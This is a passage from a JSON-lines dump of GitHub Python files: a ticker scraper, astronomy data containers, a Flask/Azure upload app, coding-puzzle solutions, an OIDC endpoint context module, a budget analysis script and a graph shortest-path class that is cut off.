body=body).execute()\n\n \n\n#SCRAPING & PARSING\n\ndef getURL(ticker, exchange):\n    template = \"https://g.co/finance/\"\n    url = template+ticker+\":\"+exchange\n    return url\n\ndef scrapePage(url):\n    req = requests.get(url)\n    soup = BeautifulSoup(req.text, \"html.parser\")\n    return soup;\n\n#labels = [label1, label2]\ndef getValue(labelList, valueList, labels):\n    values = []\n    \n    for label in labels:\n        labelIndex = labelList.index(label)\n        value = valueList[labelIndex]\n        values.append(value)\n        \n    return values;\n\n#classNames = [className1, className2]\n#labels = [label1, label2]\ndef retrieveData(ticker, exchange, classNames, labels, numValsToReturn, currencySymbol):\n    \n    try:\n        url = getURL(ticker, exchange)\n        html = scrapePage(url)\n\n        classLists = []\n\n        for className in classNames:\n            classItems = html.findAll(class_=className)\n            classItemsText = []\n            for item in classItems:\n                classItemsText.append(item.text)\n            classLists.append(classItemsText)\n        \n        values = getValue(classLists[0], classLists[1], labels)\n        \n        for label in labels:\n            if \"range\" in label:\n                valueToSplit = values[labels.index(label)]\n                splitValues = valueToSplit.split(\" - \")\n                values.remove(valueToSplit)\n                values.append(splitValues[1])\n                values.append(splitValues[0])\n        \n        values = [s.strip(currencySymbol) for s in values]\n        values = [float(v.replace(',','')) for v in values]\n        \n    except:\n        values = []\n        i = 0\n        while i<numValsToReturn:\n            values.append(\"\")\n            i+=1\n            \n    return values;\n            \n\n\nticker = \"accelya\"\nexchange = \"NSE\"\nclassNames = [\"hrc1Nd\", \"M2CUtd\"]\nlabels = [\"Previous close\", \"Day range\"]\nhtml = scrapePage(getURL(ticker, exchange))\n\n","repo_name":"AlliteraryAlligator/TickerScraping","sub_path":"TickerScraper.py","file_name":"TickerScraper.py","file_ext":"py","file_size_in_byte":5929,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"26726839508","text":"\"\"\"\n\"\"\"\n\nfrom ctapipe.core import Container\n\n\n__all__ = ['RawData', 'RawCameraData', 'MCShowerData', 'MCEvent', 'CalibratedCameraData']\n\n\nclass RawData(Container):\n    \"\"\"\n    Storage of a Merged Raw Data Event\n\n    Parameters\n    ----------\n\n    run_id : int\n        run number\n    event_id : int\n        event number\n    tels_with_data : list\n        list of which telescope IDs are present\n    pixel_pos : dict of ndarrays by tel_id\n        (deprecated)\n    tel : dict of `RawCameraData` by tel_id\n        dictionary of the data for each telescope\n    \"\"\"\n\n    def __init__(self, name=\"RawData\"):\n        super().__init__(name)\n        self.add_item('run_id')\n        self.add_item('event_id')\n        self.add_item('tels_with_data')\n        self.add_item('tel', dict())\n\n\nclass MCShowerData(Container):\n    def __init__(self, name='MCShowerData'):\n        super().__init__(name)\n        self.add_item('energy')\n        self.add_item('alt')\n        self.add_item('az')\n        self.add_item('core_x')\n        self.add_item('core_y')\n    def __str__(self):\n        return_string  = self._name+\":\\n\"\n        return_string += \"energy:   {0:.2}\\n\".format(self.energy)\n        return_string += \"altitude: {0:.2}\\n\".format(self.alt)\n        return_string += \"azimuth:  {0:.2}\\n\".format(self.az)\n        return_string += \"core x:   {0:.4}\\n\".format(self.core_x)\n        return_string += \"core y:   {0:.4}\"  .format(self.core_y)\n        return return_string\n\nclass MCEvent(MCShowerData):\n    def __init__(self, name='MCEvent'):\n        super().__init__(name)\n        self.add_item('photo_electrons',dict())\n    def __str__(self):\n        return_string = super().__str__()+\"\\n\"\n        NPix=0\n        for tel in self.photo_electrons.values():\n            for pix in tel.values():\n                if pix > 0:\n                    NPix += 1\n        return_string += \"hit pixels: {}\".format( NPix )\n        return return_string\n\n\nclass CentralTriggerData(Container):\n    def __init__(self, name='CentralTriggerData'):\n        super().__init__(name)\n        self.add_item('gps_time')\n        self.add_item('tels_with_trigger')\n\n\nclass RawCameraData(Container):\n    \"\"\"\n    Storage of raw data from a single telescope\n\n    Parameters\n    ----------\n\n    adc_sums : dict by channel\n        (masked) arrays of all integrated ADC data (n_pixels)\n    adc_samples : dict by channel\n        (masked) arrays of non-integrated ADC sample data (n_pixels, n_samples)\n    num_channels : int\n        number of gain channels in camera\n\n    \"\"\"\n    def __init__(self, tel_id):\n        super().__init__(\"CT{:03d}\".format(tel_id))\n        self.add_item('adc_sums', dict())\n        self.add_item('adc_samples', dict())\n        self.add_item('num_channels')\n\n\nclass CalibratedCameraData(Container):\n    \"\"\"\n    Storage of calibrated (p.e.) data from a single telescope\n\n    Parameters\n    ----------\n\n    pe_charge : dict (only one channel)\n        arrays of all calibrated data (n_pixels)\n    tom : time of maximum\n\n    \"\"\"\n    def __init__(self, tel_id):\n        super(CalibratedCameraData, self).__init__(\"CT{:03d}\".format(tel_id))\n        self.add_item('run_id')\n        self.add_item('event_id')\n        self.add_item('tels_with_data')\n        self.add_item('pe_charge', dict())\n        self.add_item('tom', dict())\n","repo_name":"hlaffon/ctapipe","sub_path":"ctapipe/io/containers.py","file_name":"containers.py","file_ext":"py","file_size_in_byte":3291,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"16"}
+{"seq_id":"71306542407","text":"from flask import Flask, render_template, request\nfrom azure.storage.blob import BlobClient\nimport urllib.request\nimport json\nimport urllib.request\nimport json\nimport os\nimport ssl\n\nstorkey = \"xxxxxxxxxxxxxxxxxxxxxxxxxxxxx\"\nimagestorage = \"https://{storageaccountname}.blob.core.windows.net/\"\ninferenceurl = \"https://{AzureMLInferenceEndpoint}.northcentralus.inference.ml.azure.com/score\"\namlwebservicekey = 'xxxxxxxxxxxxxxxxxxxxxxxxxxx'\n\napp = Flask(__name__)\n\n@app.route('/upload')\ndef upload_file():\n   return render_template('upload.html')\n\n@app.route('/uploader', methods = ['GET', 'POST'])\ndef upload():\n   if request.method == 'POST':\n      f = request.files['file']\n      storage_account_key = storkey\n      storage_url = imagestorage\n      blob_client = BlobClient(storage_url, container_name=\"test\", blob_name=f.filename, credential=storage_account_key)\n      with open(f.filename, \"rb\") as data:\n          blob_client.upload_blob(data)\n      url = inferenceurl\n      api_key = amlwebservicekey # Replace this with the API key for the web service\n      headers = {'Content-Type':'application/json', 'Authorization':('Bearer '+ api_key)}\n      data = {\"image\":f.filename}\n      body = str.encode(json.dumps(data))\n      req = urllib.request.Request(url, body, headers)\n      response = urllib.request.urlopen(req)\n      result = response.read()\n      return result\n\nif __name__ == \"__main__\":\n   app.run(debug=True)","repo_name":"bcprescott/MSDS","sub_path":"Capstone_COVID19/website/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1424,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"40655656821","text":"CONNECTED = 1\n\nclass Solution:\n\n    def get_neighbors(self, grid, city):\n\n        other_cities = len(grid[0])\n\n        neighbors = []\n        \n        for other_city in range(other_cities):\n\n            if city == other_city:\n                continue\n\n            if grid[city][other_city] != CONNECTED:\n                continue\n\n            neighbors.append(other_city)        \n        \n        return neighbors \n\n    def mark_connected_cities(self, grid, visited, city):\n        \n        if city in visited:\n            return \n        \n        visited.add(city)\n\n        neighbors = self.get_neighbors(grid, city)\n        for neighbor in neighbors:            \n            if neighbor in visited:\n                continue\n            \n            self.mark_connected_cities(grid, visited, neighbor)\n\n\n\n    def findCircleNum(self, grid: List[List[int]]) -> int:\n\n        num_rows, num_cols = len(grid), len(grid[0])\n\n        num_provinces = 0\n\n        visited = set()\n\n        for city in range(num_rows):\n            for other_city in range(num_cols):\n                if grid[city][other_city] == CONNECTED and city not in visited:\n                    num_provinces += 1\n                    self.mark_connected_cities(grid, visited, city)\n        \n        return num_provinces","repo_name":"mh4535/practice","sub_path":"dfs/Number Of Provinces.py","file_name":"Number Of Provinces.py","file_ext":"py","file_size_in_byte":1279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"44790248599","text":"\"\"\"\n请实现两个函数，分别用来序列化和反序列化二叉树。\n\"\"\"\nimport collections\nclass TreeNode(object):\n    def __init__(self, x):\n        self.val = x\n        self.left = None\n        self.right = None\n\n# 2021.04.14 K神的解法\nclass Codec:\n    def serialize(self, root):\n        if not root: return \"[]\"\n        queue = collections.deque()\n        queue.append(root)\n        res = []\n        while queue:\n            node = queue.popleft()\n            if node:\n                res.append(str(node.val))\n                queue.append(node.left)\n                queue.append(node.right)\n            else: res.append(\"null\")\n        return '[' + ','.join(res) + ']'\n\n    def deserialize(self, data):\n        if data == \"[]\": return\n        vals, i = data[1:-1].split(','), 1\n        root = TreeNode(int(vals[0]))\n        queue = collections.deque()\n        queue.append(root)\n        while queue:\n            node = queue.popleft()\n            if vals[i] != \"null\":\n                node.left = TreeNode(int(vals[i]))\n                queue.append(node.left)\n            i += 1\n            if vals[i] != \"null\":\n                node.right = TreeNode(int(vals[i]))\n                queue.append(node.right)\n            i += 1\n        return root","repo_name":"ZhiyuSun/leetcode-practice","sub_path":"剑指Offer/37_序列化二叉树.py","file_name":"37_序列化二叉树.py","file_ext":"py","file_size_in_byte":1261,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"16"}
+{"seq_id":"6551145494","text":"from typing import Any, Dict, List, Optional\n\nimport numpy as np\nfrom pydantic.typing import Literal\nfrom sklearn.base import BaseEstimator, TransformerMixin\nfrom sklearn.utils.validation import check_array, check_is_fitted\n\n\nclass CricularTransformer(BaseEstimator, TransformerMixin):\n    def __init__(\n        self,\n        period: Optional[List[np.number]] = None,\n        nan_policy: Literal[\"propagate\", \"raise\", \"omit\"] = \"propagate\",  # type: ignore\n    ):\n        self.period = period\n        self.nan_policy = nan_policy\n\n    def fit(self, X, y=None) -> \"CricularTransformer\":\n\n        if hasattr(X, \"columns\"):\n            self.feature_names_in_ = list(X.columns)\n            cos_names = [\"cos_\" + f for f in self.feature_names_in_]\n            sin_names = [\"sin_\" + f for f in self.feature_names_in_]\n            self.feature_names_out_ = cos_names + sin_names\n\n        # Check X,y shape\n        X = check_array(X, accept_sparse=True)\n        self.n_features_in_ = X.shape[1]\n        self.n_features_out_ = self.n_features_in_ * 2\n\n        # Compute period\n        if self.period is None:\n            self.period_ = np.max(X, axis=0) - np.min(X, axis=0)\n        else:\n            if len(self.period) != self.n_features_in_:\n                raise ValueError(\n                    \"Unexpected input shape. Got %d, expected %d (period arg)\" % (X.shape[1], self.n_features_in_)\n                )\n            self.period_ = np.array(self.period)\n\n        return self\n\n    def transform(self, X) -> np.ndarray:\n\n        check_is_fitted(self, \"period_\")\n\n        X = check_array(X, accept_sparse=True)\n        if X.shape[1] != self.n_features_in_:\n            raise ValueError(\n                \"Unexpected input shape. Got %d, expected %d (from fit)\" % (X.shape[1], self.n_features_in_)\n            )\n\n        X = X / self.period_ * (2 * np.pi)\n        X_cos = np.cos(X)\n        X_sin = np.sin(X)\n        return np.concatenate([X_cos, X_sin], axis=1)\n\n    def _more_tags(self) -> Dict[str, Any]:\n        return {\"allow_nan\": True, \"X_types\": [\"2darray\", \"2dlabels\"]}\n","repo_name":"Luis-RL/lrl-toolbox","sub_path":"lrl_toolbox/preprocessing/circular_transformer.py","file_name":"circular_transformer.py","file_ext":"py","file_size_in_byte":2070,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"70897488648","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Dec 23 18:18:57 2019\n\n@author: Alfandra's Life\n\"\"\"\n\nimport csv\n\nclass dicky(object):\n    def karyawanterbaik(self):    \n        with open('dicky.txt', mode='r') as csv_file:\n            csv_reader = csv.DictReader(csv_file)\n            line_count = 0\n            for row in csv_reader:\n                if line_count == 0:\n                    print(f'Nama column adalah {\", \".join(row)}')\n                line_count += 1\n                print(row[1],\"bekerja dibagin\",row[2],\",adalah karyawan terbaik bulan\",row[3])\n                line_count += 1\n                print(f'Processed {line_count} lines.')\n    \n","repo_name":"awangga/belajarpython","sub_path":"kelas_2c/dicky.py","file_name":"dicky.py","file_ext":"py","file_size_in_byte":651,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"10400000090","text":"import logging\nimport os\n\nfrom oidcmsg.storage.init import init_storage\nimport requests\nfrom jinja2 import Environment\nfrom jinja2 import FileSystemLoader\nfrom oidcmsg.context import OidcContext\n\nfrom oidcendpoint import authz\nfrom oidcendpoint import rndstr\nfrom oidcendpoint.id_token import IDToken\nfrom oidcendpoint.scopes import SCOPE2CLAIMS\nfrom oidcendpoint.scopes import Scopes\nfrom oidcendpoint.session.claims import STANDARD_CLAIMS\nfrom oidcendpoint.session.claims import ClaimsInterface\nfrom oidcendpoint.session.manager import create_session_manager\nfrom oidcendpoint.template_handler import Jinja2TemplateHandler\nfrom oidcendpoint.user_authn.authn_context import populate_authn_broker\nfrom oidcendpoint.util import allow_refresh_token\nfrom oidcendpoint.util import build_endpoints\nfrom oidcendpoint.util import get_http_params\nfrom oidcendpoint.util import importer\n\nlogger = logging.getLogger(__name__)\n\n\ndef add_path(url, path):\n    if url.endswith(\"/\"):\n        if path.startswith(\"/\"):\n            return \"{}{}\".format(url, path[1:])\n\n        return \"{}{}\".format(url, path)\n\n    if path.startswith(\"/\"):\n        return \"{}{}\".format(url, path)\n\n    return \"{}/{}\".format(url, path)\n\n\ndef init_user_info(conf, cwd):\n    kwargs = conf.get(\"kwargs\", {})\n\n    if \"db_file\" in kwargs:\n        kwargs[\"db_file\"] = os.path.join(cwd, kwargs[\"db_file\"])\n\n    if isinstance(conf[\"class\"], str):\n        return importer(conf[\"class\"])(**kwargs)\n\n    return conf[\"class\"](**kwargs)\n\n\ndef init_service(conf, endpoint_context=None):\n    kwargs = conf.get(\"kwargs\", {})\n\n    if endpoint_context:\n        kwargs[\"endpoint_context\"] = endpoint_context\n\n    if isinstance(conf[\"class\"], str):\n        return importer(conf[\"class\"])(**kwargs)\n\n    return conf[\"class\"](**kwargs)\n\n\ndef get_token_handlers(conf):\n    th_args = conf.get(\"token_handler_args\", None)\n    if not th_args:\n        # create 3 keys\n        keydef = [\n            {\"type\": \"oct\", \"bytes\": \"24\", \"use\": [\"enc\"], \"kid\": \"code\"},\n            {\"type\": \"oct\", \"bytes\": \"24\", \"use\": [\"enc\"], \"kid\": \"token\"},\n            {\"type\": \"oct\", \"bytes\": \"24\", \"use\": [\"enc\"], \"kid\": \"refresh\"},\n        ]\n\n        jwks_def = {\n            \"private_path\": \"private/token_jwks.json\",\n            \"key_defs\": keydef,\n            \"read_only\": False,\n        }\n        th_args = {\"jwks_def\": jwks_def}\n        for typ, tid in [(\"code\", 600), (\"token\", 3600), (\"refresh\", 86400)]:\n            th_args[typ] = {\"lifetime\": tid}\n\n    return th_args\n\n\nclass EndpointContext(OidcContext):\n    def __init__(\n            self,\n            conf,\n            keyjar=None,\n            cwd=\"\",\n            cookie_dealer=None,\n            httpc=None,\n    ):\n        OidcContext.__init__(self, conf, keyjar, entity_id=conf.get(\"issuer\", \"\"))\n        self.conf = conf\n        self.db_conf = conf.get(\"db_conf\", {})\n\n        # For my Dev environment\n        self.cdb = None\n        self.jti_db = None\n        self.registration_access_token = None\n        self.session_db = None\n\n        self.add_boxes(\n            {\n                \"client\": \"cdb\",\n                \"jti\": \"jti_db\",\n                \"registration_access_token\": \"registration_access_token\",\n                \"session\": \"session_db\"\n            },\n            self.db_conf,\n        )\n\n        self.cwd = cwd\n\n        # Those that use seed wants bytes but I can only store str.\n        try:\n            self.set(\"seed\", conf[\"seed\"])\n        except KeyError:\n            self.set(\"seed\", rndstr(32))\n\n        # Default values, to be changed below depending on configuration\n        self.endpoint = {}\n        self.issuer = \"\"\n        self.httpc = httpc or requests\n        self.jwks_uri = None\n        self.sso_ttl = 14400  # 4h\n        self.symkey = rndstr(24)\n        # self.id_token_schema = IdToken\n        self.idtoken = None\n        self.authn_broker = None\n        self.authz = None\n        self.endpoint_to_authn_method = {}\n        self.cookie_dealer = cookie_dealer\n        self.login_hint_lookup = None\n        self.login_hint2acrs = None\n        self.userinfo = None\n        self.scope2claims = SCOPE2CLAIMS\n        # arguments for endpoints add-ons\n        self.args = {}\n\n        for param in [\n            \"issuer\",\n            \"sso_ttl\",\n            \"symkey\",\n            \"client_authn\",\n            # \"id_token_schema\",\n        ]:\n            try:\n                setattr(self, param, conf[param])\n            except KeyError:\n                pass\n\n        self.th_args = get_token_handlers(conf)\n\n        # self.cdb = self.get_db(db_conf, 'client')\n        # self.registration_access_token = self.get_db(db_conf, 'registration_access_token')\n        # self.jti_db = self.get_db(db_conf, 'jti')\n\n        # session db\n        self._sub_func = {}\n        self.do_sub_func()\n\n        # has to be after the above\n        self.set_session_db()\n\n        if \"cookie_name\" in conf:\n            self.cookie_name = conf[\"cookie_name\"]\n        else:\n            self.cookie_name = {\n                \"session\": \"oidcop\",\n                \"register\": \"oidc_op_rp\",\n                \"session_management\": \"sman\",\n            }\n\n        try:\n            self.template_handler = conf[\"template_handler\"]\n        except KeyError:\n            try:\n                loader = conf[\"template_loader\"]\n            except KeyError:\n                template_dir = conf[\"template_dir\"]\n                loader = Environment(\n                    loader=FileSystemLoader(template_dir), autoescape=True\n                )\n            self.template_handler = Jinja2TemplateHandler(loader)\n\n        self.setup = {}\n        jwks_uri_path = conf[\"keys\"][\"uri_path\"]\n\n        try:\n            if self.issuer.endswith(\"/\"):\n                self.jwks_uri = \"{}{}\".format(self.issuer, jwks_uri_path)\n            else:\n                self.jwks_uri = \"{}/{}\".format(self.issuer, jwks_uri_path)\n        except KeyError:\n            self.jwks_uri = \"\"\n\n        for item in [\n            \"cookie_dealer\",\n            \"authz\",\n            \"authentication\",\n            \"id_token\",\n            \"scope2claims\",\n        ]:\n            _func = getattr(self, \"do_{}\".format(item), None)\n            if _func:\n                _func()\n\n        _cap = self.do_endpoints()\n\n        self.provider_info = self.create_providerinfo(_cap)\n\n        _token_endp = self.endpoint.get(\"token\")\n        if _token_endp:\n            _token_endp.allow_refresh = allow_refresh_token(self)\n\n        for item in [\"userinfo\", \"login_hint_lookup\", \"login_hint2acrs\", \"add_on\"]:\n            _func = getattr(self, \"do_{}\".format(item), None)\n            if _func:\n                _func()\n\n        # which signing/encryption algorithms to use in what context\n        self.jwx_def = {}\n\n        # special type of logging\n        self.events = None\n\n        # The HTTP clients request arguments\n        _cnf = conf.get(\"httpc_params\")\n        if _cnf:\n            self.httpc_params = get_http_params(_cnf)\n        else:  # Backward compatibility\n            self.httpc_params = {\"verify\": conf.get(\"verify_ssl\")}\n\n        self.set_scopes_handler()\n        # self.set_claims_handler()\n\n        # If pushed authorization is supported\n        if \"pushed_authorization_request_endpoint\" in self.provider_info:\n            self.par_db = None\n            self.add_boxes({\"par\": \"par_db\"}, self.db_conf)\n\n        # If device authentication is supported\n        if \"device_authorization_supported\" in self.provider_info:\n            self.dev_auth_db = None\n            self.add_boxes({\"dev_auth\": \"dev_auth_db\"}, self.db_conf)\n\n        self.claims_interface = ClaimsInterface(self)\n\n    def add_boxes(self, boxes, db_conf):\n        for key, attr in boxes.items():\n            setattr(self, attr, init_storage(db_conf, key))\n\n    def set_scopes_handler(self):\n        _spec = self.conf.get(\"scopes_handler\")\n        if _spec:\n            _kwargs = _spec.get(\"kwargs\", {})\n            _cls = importer(_spec[\"class\"])(**_kwargs)\n            self.scopes_handler = _cls(_kwargs)\n        else:\n            self.scopes_handler = Scopes()\n\n    # def set_claims_handler(self):\n    #     _spec = self.conf.get(\"claims_handler\")\n    #     if _spec:\n    #         _kwargs = _spec.get(\"kwargs\", {})\n    #         _cls = importer(_spec[\"class\"])(**_kwargs)\n    #         self.claims_handler = _cls(_kwargs)\n    #     else:\n    #         self.claims_handler = Claims()\n\n    def set_session_db(self):\n        self.do_session_manager()\n        # append userinfo db to the session db\n        self.do_userinfo()\n\n    def do_add_on(self):\n        if self.conf.get(\"add_on\"):\n            for spec in self.conf[\"add_on\"].values():\n                if isinstance(spec[\"function\"], str):\n                    _func = importer(spec[\"function\"])\n                else:\n                    _func = spec[\"function\"]\n                _func(self.endpoint, **spec[\"kwargs\"])\n\n    def do_login_hint2acrs(self):\n        _conf = self.conf.get(\"login_hint2acrs\")\n\n        if _conf:\n            self.login_hint2acrs = init_service(_conf)\n        else:\n            self.login_hint2acrs = None\n\n    def do_login_hint_lookup(self):\n        _conf = self.conf.get(\"login_hint_lookup\")\n        if _conf:\n            self.login_hint_lookup = init_service(_conf)\n            if self.userinfo:\n                self.login_hint_lookup.user_info = self.userinfo\n\n    def do_userinfo(self):\n        _conf = self.conf.get(\"userinfo\")\n        if _conf:\n            if self.session_manager:\n                self.userinfo = init_user_info(_conf, self.cwd)\n                self.session_manager.userinfo = self.userinfo\n            else:\n                logger.warning(\"Cannot init_user_info if no session_db was provided.\")\n\n    def do_id_token(self):\n        _conf = self.conf.get(\"id_token\")\n        if _conf:\n            self.idtoken = init_service(_conf, self)\n        else:\n            self.idtoken = IDToken(self)\n\n    def do_authentication(self):\n        _conf = self.conf.get(\"authentication\")\n        if _conf:\n            self.authn_broker = populate_authn_broker(\n                _conf, self, self.template_handler\n            )\n        else:\n            self.authn_broker = {}\n\n        self.endpoint_to_authn_method = {}\n        for method in self.authn_broker:\n            try:\n                self.endpoint_to_authn_method[method.action] = method\n            except AttributeError:\n                pass\n\n    def do_cookie_dealer(self):\n        _conf = self.conf.get(\"cookie_dealer\")\n        if _conf:\n            if not self.cookie_dealer:\n                self.cookie_dealer = init_service(_conf)\n\n    def do_sub_func(self):\n        _conf = self.conf.get(\"sub_func\", {})\n        for key, args in _conf.items():\n            if \"class\" in args:\n                self._sub_func[key] = init_service(args)\n            elif \"function\" in args:\n                if isinstance(args[\"function\"], str):\n                    self._sub_func[key] = importer(args[\"function\"])\n                else:\n                    self._sub_func[key] = args[\"function\"]\n\n    def do_session_manager(self, db=None):\n        if self.session_db is None:\n            self.session_manager = create_session_manager(\n                self, self.th_args, db=db, sub_func=self._sub_func\n            )\n        else:\n            self.session_manager = create_session_manager(\n                self, self.th_args, db=self.session_db, sub_func=self._sub_func\n            )\n\n    def do_endpoints(self):\n        self.endpoint = build_endpoints(\n            self.conf[\"endpoint\"], endpoint_context=self, issuer=self.conf[\"issuer\"],\n        )\n\n        _cap = self.conf.get(\"capabilities\", {})\n\n        for endpoint, endpoint_instance in self.endpoint.items():\n            if endpoint in [\"webfinger\", \"provider_config\"]:\n                continue\n\n            if endpoint_instance.endpoint_info:\n                for key, val in endpoint_instance.endpoint_info.items():\n                    if key not in _cap:\n                        _cap[key] = val\n\n        return _cap\n\n    def do_authz(self):\n        authz_spec = self.conf.get(\"authz\")\n        if authz_spec:\n            self.authz = init_service(authz_spec, self)\n        else:\n            self.authz = authz.Implicit(self)\n\n    def create_providerinfo(self, capabilities):\n        \"\"\"\n        Dynamically create the provider info response\n\n        :param capabilities:\n        :return:\n        \"\"\"\n\n        _provider_info = capabilities\n        _provider_info[\"issuer\"] = self.issuer\n        _provider_info[\"version\"] = \"3.0\"\n\n        # acr_values\n        if self.authn_broker:\n            acr_values = self.authn_broker.get_acr_values()\n            if acr_values is not None:\n                _provider_info[\"acr_values_supported\"] = acr_values\n\n        if self.jwks_uri and self.keyjar:\n            _provider_info[\"jwks_uri\"] = self.jwks_uri\n\n        _provider_info.update(self.idtoken.provider_info)\n        if \"scopes_supported\" not in _provider_info:\n            _provider_info[\"scopes_supported\"] = [s for s in self.scope2claims.keys()]\n        if \"claims_supported\" not in _provider_info:\n            _provider_info[\"claims_supported\"] = STANDARD_CLAIMS[:]\n\n        return _provider_info\n\n    def set(self, key, val):\n        setattr(self, key, val)\n\n    def get(self, key):\n        return getattr(self, key)","repo_name":"IdentityPython/oidcendpoint","sub_path":"src/oidcendpoint/endpoint_context.py","file_name":"endpoint_context.py","file_ext":"py","file_size_in_byte":13304,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"16"}
+{"seq_id":"14763473295","text":"import csv\n\n#list the path to the CSV file\ncsv_file_path = '/Users/laurenpescarus_razeware/Desktop/MSU Course/Classwork/python-challenge/python-challenge/PyBank/Resources/budget_data.csv'\n\n#list variables to store financial analysis data\ntotal_months = 0\nprofitloss_net = 0\nprevious_profitloss = None\nprofitloss_changes = []\nmonths = []\n\n#open and read the CSV file\nwith open(csv_file_path, 'r') as file:\n    csv_reader = csv.reader(file)\n\n    #skip the header row\n    header = next(csv_reader)\n\n    #create the output file path\n    output_file_path = '/Users/laurenpescarus_razeware/Desktop/MSU Course/Classwork/python-challenge/python-challenge/PyBank/Analysis/output.txt'\n\n    #count the total number of months by iterating through the rows in the CSV file\n    for row in csv_reader:\n        months.append(row[0])\n\n        #get data from the current row\n        date = row[0]\n        profitloss = int(row[1])  \n\n        #calculate the total profit/loss over all months\n        profitloss_net += profitloss\n\n        #calculate profit/loss changes\n        if previous_profitloss is not None:\n            profitloss_change = profitloss - previous_profitloss\n            profitloss_changes.append(profitloss_change)\n\n        #update previous profit/loss for the next run\n        previous_profitloss = profitloss\n\n#calculate the total number of months\ntotal_months = len(months)\n\n#calculate the average change in profit/loss\naverage_change = sum(profitloss_changes) / len(profitloss_changes)\n\n#find the greatest increase and decrease in profit/loss\nmax_increase = max(profitloss_changes)\nmax_decrease = min(profitloss_changes)\n\n#find the months for the greatest increase and decrease\nincrease_month = months[profitloss_changes.index(max_increase)]\ndecrease_month = months[profitloss_changes.index(max_decrease)]\n\n#create the output text\noutput_text = f\"Financial Analysis\\n\" \\\n              f\"----------------------------\\n\" \\\n              f\"Total Months: {total_months}\\n\" \\\n              f\"Total: ${profitloss_net}\\n\" \\\n              f\"Average Change: ${average_change:.2f}\\n\" \\\n              f\"Greatest Increase in Profits: {increase_month} (${max_increase})\\n\" \\\n              f\"Greatest Decrease in Profits: {decrease_month} (${max_decrease})\"\n\n#write the output to a text file\nwith open(output_file_path, 'w') as output_file:\n    output_file.write(output_text)\n\n#display the results in the terminal with each variable on a new line\nprint(\"Financial Analysis\")\nprint(\"----------------------------\")\nprint(f\"Total Months: {total_months}\")\nprint(f\"Total: ${profitloss_net}\")\nprint(f\"Average Change: ${average_change:.2f}\")\nprint(f\"Greatest Increase in Profits: {increase_month} (${max_increase})\")\nprint(f\"Greatest Decrease in Profits: {decrease_month} (${max_decrease})\")","repo_name":"yourdailylauren/python-challenge","sub_path":"PyBank/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"34386280862","text":"# CLC Table Formatting Functions\n# Author: George Dzavashvili\n# Email: dzavashviligeorge@gmail.com\n# Twitter: @redpix_\n\n# Coding Region Change Validation Exception\n\n\nclass ValidationException(Exception):\n    def __init__(self, message, error_str):\n        super(ValidationException, self).__init__(message)\n\n        self.errors = error_str\n        self.message = message\n","repo_name":"dz4va/clc-vtable","sub_path":"table_formatter_exceptions.py","file_name":"table_formatter_exceptions.py","file_ext":"py","file_size_in_byte":371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"1591390650","text":"import sys\nimport math\n\n\n# -------------------------------------------------------------------------------------------------\n# Skynet class: with a dictionary of all the nodes and all the gateways in the skynet\n# -------------------------------------------------------------------------------------------------\nclass Skynet:\n\n    def __init__(self, numnodes, numlinks, numgateways):\n\n        self.size = numnodes\n        self.numlinks = numlinks\n        self.numgateways = numgateways\n        self.gateways = {}\n        self.nodes = {_: Node(_) for _ in range(0, self.size)}\n\n    def addLink(self, pair):\n\n        # We link the nodes and assign a weight to the link.\n        # For this Skynet scenario weight will always be 1 but it mught be usefull in other scenarios\n        self.nodes[pair[0]].links[pair[1]] = [pair[1], 1]\n        self.nodes[pair[1]].links[pair[0]] = [pair[0], 1]\n        return\n\n    def addGateway(self, gate):\n\n        self.gateways[gate] = gate\n        return\n\n    # -------------------------------------------------------------------------------------------------\n    # Method to find (dijkstra) all the shortest paths from a given node (gate) to all the other nodes\n    # in the Skynet graph\n    # -------------------------------------------------------------------------------------------------\n    def shortestPaths(self, gate):\n\n        # We create a dictionay of nodes (tablenodes) with a double value:\n        #  1.- The size of the path (initialized to infinit)\n        #  2.- The optimal path (\"\" to start with)\n        # We also create a dictionary of visited nodes (visitednodes) where we keep the nodes not visited yet\n        tablenodes = {}\n        visitednodes = {}\n\n        # We initialize both dictionaries\n        for node in self.nodes.keys():\n            tablenodes[node] = [math.inf, \"\"]\n            visitednodes[node] = False\n\n        # We apply initial values to the gateway node (0 distance and no path to itself)\n        tablenodes[gate] = [0, str(gate) + \";\"]\n\n        # we delete all the gate nodes from the visited dict (except the one we are working with)\n        # so we do not go through them when finding the different paths\n        for restgates in self.gateways:\n            if restgates != gate:\n                del visitednodes[restgates]\n\n        # We repeat the process while there are nodes in the visited dictionary\n        while len(visitednodes) > 0:\n\n            # We set the pointer to the next node with shorter path and that is still on the visited dict\n            # For that, we go through the visitednodes dict. We call the node to work with: \"minnode\"\n            # The first time it will select the gate node since it is the only one with value different from Inf\n            minnode = \"\"\n            for node in visitednodes.keys():\n                if minnode == \"\":\n                    minnode = node\n                else:\n                    if tablenodes[node][0] < tablenodes[minnode][0]:\n                        minnode = node\n\n            # We delete the selected node from the visited dict\n            del visitednodes[minnode]\n\n            # We analyse all the links associated to the minimum distance node\n            for link in self.nodes[minnode].links.keys():\n\n                # But we process only those nodes that have not been visited yet\n                if link in visitednodes.keys():\n\n                    # We calculate the distance: current distance to the node + the weight of the link (always 1)\n\n                    # Note: For the size/distance of the path:\n                    #    - we will add 1 if the node is not linked with any gateway\n                    #    - we will add 0 the node if it has a link to a gate\n                    #    - we will add -1 if the node is linked to two gates\n\n                    # if the node shares a link with any gateway we substract one from \"foundgateways\"\n                    foundgateways = 1\n                    for thelinks in 